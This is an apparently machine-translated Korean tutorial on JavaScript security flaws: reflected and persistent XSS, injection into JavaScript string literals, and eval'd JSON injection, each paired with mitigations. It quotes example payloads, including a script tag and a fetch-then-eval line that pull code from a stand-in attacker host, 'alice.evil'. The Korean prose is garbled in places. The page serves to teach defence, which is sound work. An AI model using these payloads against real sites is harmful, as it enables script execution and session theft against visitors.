수색…
소개
이것은 XSS 및 평가판 주입과 같은 일반적인 JavaScript 보안 문제 모음입니다. 이 컬렉션에는 이러한 보안 문제를 완화하는 방법도 포함되어 있습니다.
반사 형 교차 사이트 스크립팅 (XSS)
Joe가 로그온하여 강아지 비디오를보고 계정에 저장할 수있는 웹 사이트를 소유하고 있다고 가정 해 봅시다.
사용자가 해당 웹 사이트를 검색 할 때마다 https://example.com/search?q=brown+puppies
로 리디렉션됩니다.
사용자의 검색어가 다음과 같은 내용의 메시지를 보는 것보다 일치하지 않는 경우 :
귀하의 검색 ( 갈색 강아지 ), 아무것도 일치하지 않았다. 다시 시도하십시오.
백엔드에서 그 메시지는 다음과 같이 표시됩니다.
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
그러나 앨리스가 <h1>headings</h1>
검색하면 다음과 같이 표시됩니다.
귀하의 검색 (
표제
)과 일치하지 않았습니다. 다시 시도하십시오.
원시 HTML :
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
Alice가 <script>alert(1)</script>
하면 다음과 같은 결과를 얻습니다.
귀하의 검색 (), 아무것도 일치하지 않았습니다. 다시 시도하십시오.
과:
Alice는 <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
를 <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
하고 주소 표시 줄에 이메일 Bob보다 링크를 복사합니다.
단발,
귀여운 강아지를 검색 할 때 아무 일도 일어나지 않습니다!
Alice보다 Bob은 Bob이 자신의 계정에 로그온하는 동안 Bob에게 스크립트를 실행하게합니다.
완화:
- 결과가 없을 때 검색어를 반환하기 전에 검색에서 모든 꺾쇠 괄호를 이스케이프합니다.
- 결과가 없으면 검색어를 반환하지 마십시오.
- 다른 도메인에서 활성 컨텐트를로드하는 것을 거부하는 컨텐트 보안 정책 추가
지속적인 XSS (Cross-Site Scripting)
Bob이 사용자가 자신의 프로필을 개인 설정할 수있는 소셜 웹 사이트를 소유하고 있다고 가정 해 봅시다.
Alice는 Bob의 웹 사이트로 이동하여 계정을 만들고 프로필 설정으로갑니다. 그녀는 그녀의 프로필 설명을 I'm actually too lazy to write something here.
친구가 프로필을 볼 때이 코드는 서버에서 실행됩니다.
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
이 HTML 결과 :
<div>I'm actually too lazy to write something here.</div>
Alice보다 자신의 프로필 설명을 <b>I like HTML</b>
합니다. 그녀가 그녀의 프로필을 보았을 때 보지 않고
<b> HTML을 좋아합니다 </ b>
그녀는 본다
나는 HTML을 좋아한다.
앨리스는 그녀의 프로필을
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
누군가가 자신의 프로필을 방문 할 때마다 Alice의 스크립트는 계정으로 로그온 한 상태에서 Bob의 웹 사이트에서 실행됩니다.
완화
- 프로필 설명 등에서 꺽쇠 괄호
- 프로파일 설명을 일반 텍스트 파일에 저장하고
.innerText
를 통해 설명을 추가하는 스크립트로 가져옵니다. - 다른 도메인에서 활성 컨텐트를로드하는 것을 거부하는 컨텐트 보안 정책 추가
JavaScript 문자열 리터럴에서 영구적으로 교차 사이트 스크립팅
Bob이 공개 메시지를 게시 할 수있는 사이트를 소유하고 있다고 가정 해 봅시다.
메시지는 다음과 같은 스크립트에 의해로드됩니다.
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
addMessage
함수는 게시 된 메시지를 DOM에 추가합니다. 그러나 XSS를 피하기 위해 게시 된 메시지의 HTML은 모두 이스케이프 처리됩니다.
스크립트는 다음과 같이 서버에서 생성 됩니다 .
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
그래서 앨리스는 다음과 같은 메시지를 게시합니다 : My mom said: "Life is good. Pie makes it better. "
그녀가 메시지를 미리 볼 때보 다 콘솔에서 오류를 보게됩니다.
Uncaught SyntaxError: missing ) after argument list
왜? 생성 된 스크립트는 다음과 같습니다.
addMessage("My mom said: "Life is good. Pie makes it better. "");
이것은 구문 오류입니다. 앨리스 (Alice) 게시물보다 :
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
그런 다음 생성 된 스크립트는 다음과 같습니다.
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
I like pie
하는 메시지가 추가되지만 다른 사용자가 Bob의 사이트를 방문 할 때마다 https://alice.evil/js_xss.js
도 다운로드되어 실행됩니다.
완화:
- JSON.stringify ()에 게시 된 메시지 전달
- 스크립트를 동적으로 작성하는 대신 스크립트에서 나중에 가져온 모든 메시지를 포함하는 일반 텍스트 파일을 작성하십시오
- 다른 도메인에서 활성 컨텐트를로드하는 것을 거부하는 컨텐트 보안 정책 추가
왜 다른 사람들의 스크립트가 귀하의 웹 사이트 및 방문자에게 해를 끼칠 수 있습니까?
악성 스크립트가 사이트에 해를 끼칠 수 있다고 생각하지 않는다면 잘못된 것 입니다. 다음은 악성 스크립트가 수행 할 수있는 작업의 목록입니다.
- 추적 할 수 없도록 DOM에서 자신을 제거하십시오 .
- 사용자의 세션 쿠키를 훔쳐서 스크립트 작성자가 로그인하여 가장 할 수있게합니다.
- 가짜 "귀하의 세션이 만료되었습니다. 다시 로그인하십시오." 사용자의 암호를 스크립트 작성자에게 보내는 메시지.
- 해당 웹 사이트를 방문 할 때마다 악성 스크립트를 실행하는 악의적 인 서비스 담당자를 등록 하십시오 .
- 사용자 가 실제로 스크립트 작성자에게가는 사이트에 액세스하려면 돈 을 지불 할 것을 요구하는 가짜 유료화 를하십시오 .
제발, XSS가 귀하의 웹 사이트와 방문객에게 해가되지 않을 것이라고 생각하지 마십시오.
Evaled JSON injection
누군가 Bob의 웹 사이트에있는 프로필 페이지를 방문 할 때마다 다음 URL을 가져옵니다.
https://example.com/api/users/1234/profiledata.json
다음과 같은 응답으로 :
{
"name": "Bob",
"description": "Likes pie & security holes."
}
데이터가 파싱되고 삽입 된 것보다 :
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
좋았지, 그렇지? 잘못된.
Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
이상하게 보입니다 Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
하지만 제대로 수행되지 않으면 응답은 다음과 같이됩니다. ")
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
그리고 이것은 eval
될 것입니다 :
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
그것이 문제라고 생각하지 않는다면 콘솔에 붙여 넣고 무슨 일이 일어나는 지보십시오.
재판
JSON을 얻으려면 eval 대신 JSON.parse 를 사용하십시오. 일반적으로 eval을 사용하지 말고, 사용자가 제어 할 수있는 것과 eval을 사용하지 마십시오. Eval 은 새로운 실행 컨텍스트 를 작성하여 성능 적중을 만듭니다.
제대로 JSON에 넣기 전에 사용자 데이터의
"
이스케이프"
와\
를 이스케이프 처리하십시오."
Hello! \"});alert(1);({
다음으로 변환됩니다.
"Hello! \\"});alert(1);({"
죄송합니다.
\
와"
모두를 이스케이프 처리하거나 JSON.parse 만 사용하십시오.